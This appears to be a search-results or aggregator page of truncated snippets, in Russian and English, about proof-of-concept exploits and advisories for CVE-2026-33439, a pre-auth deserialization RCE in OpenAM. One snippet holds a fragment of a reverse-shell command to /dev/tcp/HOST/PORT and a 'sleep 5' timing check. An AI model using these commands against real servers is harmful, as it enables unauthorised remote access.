CVE-2026-33439-PoC

CVE-2026-33439 — Pre-Auth RCE в OpenAM Удалённое выполнение кода до аутентификации в OpenIdentityPlatform OpenAM = 16.0.5 через небезопасную десериализацию Java параметра jato.clientSession CVSS 9.8. Только для авторизованного тестирования безопасности. Быстрый старт 1. Build payload downloads JA...

CVE-2026-33439-Poc

CVE-2026-33439 RCE до аутентификации в OpenIdentityPlatform OpenAM через небезопасную десериализацию Java параметра jato.clientSession. Затронуты версии & /dev/tcp/HOST/PORT 0&1' Вывод слепой. Запрос блокируется до завершения команды, поэтому время подтверждает выполнение --command 'sleep 5'...

CVE-2026-33439

🐞 CVE-2026-33439: RCE без аутентификации в OpenAM через десериализацию jato.clientSession Анализ человеком + помощь ИИ + reverse engineering + advisory → эксплойт Первая публично опубликованная реализация эксплойта для CVE-2026-33439 Неаутентифицированная уязвимость десериализации Java в ForgeRoc...

Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM vi...

CVE-2026-33439 Pre-Authentication Remote Code Execution via `jato.clientSession` Deserialization in OpenAM

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

CVE-2026-33439: Deserialization of Untrusted Data

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...